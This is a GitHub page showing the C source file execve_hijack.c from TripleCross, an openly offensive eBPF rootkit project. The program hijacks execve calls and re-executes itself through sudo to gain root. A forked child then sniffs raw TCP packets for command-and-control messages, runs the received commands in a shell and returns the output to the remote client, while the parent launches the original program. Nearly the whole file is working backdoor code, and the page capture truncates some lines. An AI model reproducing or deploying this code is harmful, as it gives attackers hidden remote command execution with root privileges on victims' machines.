



Sign in

h3xduck / TripleCross Public

Notifications

Fork 220

Star 1.8k

[Code](#) [Issues 17](#) [Pull requests 1](#) [Actions](#) [Projects](#) [Security](#) [Insights](#)

TripleCross / src / helpers / execve_hijack.c



h3xduck Finished section 5. Multiple changes in the code according to the per...

5d6619c · 2 years ago



343 lines (283 loc) · 9.43 KB

```
1  #define _GNU_SOURCE
2  #include <stdio.h>
3  #include <stdlib.h>
4  #include <sys/types.h>
5  #include <sys/stat.h>
6  #include <fcntl.h>
7  #include <unistd.h>
8  #include <time.h>
9  #include <sys/wait.h>
10 #include <bpf/bpf.h>
11 #include <bpf/libbpf.h>
12 #include <sys/socket.h>
13 #include <netinet/in.h>
14 #include <arpa/inet.h>
15 #include <sys/socket.h>
16 #include <netdb.h>
17 #include <netinet/ip.h>
18 #include <netinet/tcp.h>
19 #include <sys/file.h>
20 #include <errno.h>
21 #include <syslog.h>
22 #include <dlfcn.h>
23 #include <sys/timerfd.h>
24 #include <ifaddrs.h>
25 #include <linux/if_link.h>
26
```

```
27     #include "lib/RawTCP.h"
28     #include "../common/c&c.h"
29     #include <linux/bpf.h>
30     #include <bpf/bpf.h>
31     #include <bpf/libbpf.h>
32
33     #define LOCK_FILE "/tmp/rootlog"
34     #define DEFAULT_NETWORK_INTERFACE "enp0s3"
35
36     int test_time_values_injection(){
37
38         struct itimerspec new_value, new_value2;
39         int max_exp, fd, fd2;
40         struct timespec now;
41         uint64_t exp, tot_exp;
42         ssize_t s;
43
44
45         fd = timerfd_create(CLOCK_REALTIME, 0);
46         if (fd == -1)
47             return -1;
48
49         new_value.it_interval.tv_sec = 30;
50         new_value.it_interval.tv_nsec = 0;
51
52         if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
53             return -1;
54
55         fd2 = timerfd_create(CLOCK_REALTIME, 0);
56         if (fd2 == -1)
57             return -1;
58
59         new_value2.it_interval.tv_sec = 30;
60         new_value2.it_interval.tv_nsec = 0;
61
62         if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
63             return -1;
64
65
66         printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
67
68         return 0;
69     }
70
71
72     char* execute_command(char* command){
```

```
73     FILE *fp;  
74     char* res = calloc(4096, sizeof(char));  
75     char buf[1024];
```

```
156 char* getLocalIpAddress_old(){
157     char hostbuffer[256];
158     char* IPbuffer = calloc(256, sizeof(char));
159     struct hostent *host_entry;
160     int hostname;
161
162     hostname = gethostname(hostbuffer, sizeof(hostbuffer));
163     if(hostname==-1){
164         ...
165     }
```

```
164         exit(1);
165     }
166
167     host_entry = gethostbyname(hostbuffer);
168     if(host_entry == NULL){
169         exit(1);
170     }
171
172     // To convert an Internet network
173     // address into ASCII string
174     strcpy(IPbuffer,inet_ntoa(*(struct in_addr*) host_entry->h_addr_list[0]));
175
176     return IPbuffer;
177 }
178 //test_time_values_injection();
179
180 int hijacker_process_routine(int argc, char* argv[], int fd){
181     //Lock the file to indicate we are already into the routine
182     time_t rawtime;
183     struct tm * timeinfo;
184
185     time ( &rawtime );
186     timeinfo = localtime ( &rawtime );
187     char* timestr = asctime(timeinfo);
188
189     int ii = 0;
190     while(*(timestr+ii)!='\0'){
191         write(fd, timestr+ii, 1);
192         ii++;
193     }
194     write(fd, "\t", 1);
195
196     for(int jj = 0; jj<argc; jj++){
197         ii = 0;
198         while(*(argv[jj]+ii)!='\0'){
199             write(fd, argv[jj]+ii, 1);
200             ii++;
201         }
202         write(fd, "\t", 1);
203     }
204
205     write(fd, "\n", 1);
206     write(fd, "Sniffing...\n", 13);
207
208     printf("Running hijacking process\n");
209     packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
```

```
210     if(packet.ipheader == NULL){
211         write(fd, "Failed to open rawsocket\n", 1);
212         return -1;
213     }
214     write(fd, "Sniffed\n", 9);
215     //TODO GET THE IP FROM THE BACKDOOR CLIENT
216     char* local_ip = getLocalIpAddress();
217     char remote_ip[16];
218     inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
219     printf("IP: %s\n", local_ip);
220
221     packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK);
222     if(rawsocket_send(packet_ack)<0){
223         write(fd, "Failed to open rawsocket\n", 1);
224         close(fd);
225         return -1;
226     }
227
228     //Start of pseudo connection with the rootkit client
229     int connection_close = 0;
230     while(!connection_close){
231         packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
232         printf("Received client message\n");
233         char* payload = packet.payload;
234         char *p;
235         p = strtok(payload, "#");
236         p = strtok(NULL, "#");
237         if(p){
238             if(strcmp(p, CC_PROT_FIN_PART)==0){
239                 printf("Connection closed by request\n");
240                 connection_close = 1;
241             }else{
242                 printf("Received request: %s\n", p);
243                 char* res = execute_command(p);
244                 char* payload_buf = calloc(4096, sizeof(char));
245                 strcpy(payload_buf, CC_PROT_MSG);
246                 strcat(payload_buf, res);
247                 packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096,
248                 if(rawsocket_send(packet_res)<0){
249                     write(fd, "Failed to open rawsocket\n", 1);
250                     close(fd);
251                     return -1;
252                 }
253                 free(payload_buf);
254                 free(res);
255             }
```

256 }

TripleCross / src / helpers / execve_hijack.c

↑ Top

Code Blame

Raw



```
261         return 0;
262     }
263
264
265     int main(int argc, char* argv[], char *envp[]){
266         printf("Malicious program execve hijacker executed\n");
267         for(int ii=0; ii<argc; ii++){
268             //printf("Argument %i is %s\n", ii, argv[ii]);
269         }
270
271         if(geteuid() != 0){
272             //We do not have privileges, but we do want them. Let's rerun the program now.
273             char* args[argc+3];
274             args[0] = "sudo";
275             args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
276             //printf("execve ARGS%i: %s\n", 0, args[0]);
277             //printf("execve ARGS%i: %s\n", 1, args[1]);
278             for(int ii=0; ii<argc; ii++){
279                 args[ii+2] = argv[ii];
280                 //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
281             }
282             args[argc+2] = NULL;
283
284             if(execve("/usr/bin/sudo", args, envp)<0){
285                 perror("Failed to execve()");
286                 exit(-1);
287             }
288             exit(0);
289         }
290
291
292         //We proceed to fork() and exec the original program, whilst also executing the one we
293         //ordered to execute via the network backdoor
294         pid_t pid = fork();
295
296         if (pid < 0) {
297             perror("Fork failed");
298         }
299         if (pid == 0) {
300             setsid();
301             //Child process
```

```
302     printf("Malicious program child executed with pid %d\n", (int) getpid());
303
304     //First of all check if the locking log file is locked, which indicates that the backdoor p
305     int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
306     if(fd<0){
307         perror("Failed to open lock file before entering hijacking routine");
308         exit(-1);
309     }
310     if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
311         if (errno == EWOULDBLOCK) {
312             perror("lock file was locked");
313         } else {
314             perror("Error with the lockfile");
315         }
316         exit(-1);
317     }
318     hijacker_process_routine(argc, argv, fd);
319     printf("Child process is exiting\n");
320     exit(0);
321 }
322 //Parent process. Call original hijacked command
323 char* hij_args[argc];
324 hij_args[0] = argv[1];
325 syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
326 for(int ii=0; ii<argc-2; ii++){
327     hij_args[ii+1] = argv[ii+2];
328     syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
329 }
330 hij_args[argc-1] = NULL;
331
332 if(execve(argv[1], hij_args, envp)<0){
333     perror("Failed to execve() originally hijacked process");
334     exit(-1);
335 }
336
337 wait(NULL);
338 printf("parent process is exiting\n");
339 return(0);
340
341
342
343 }
```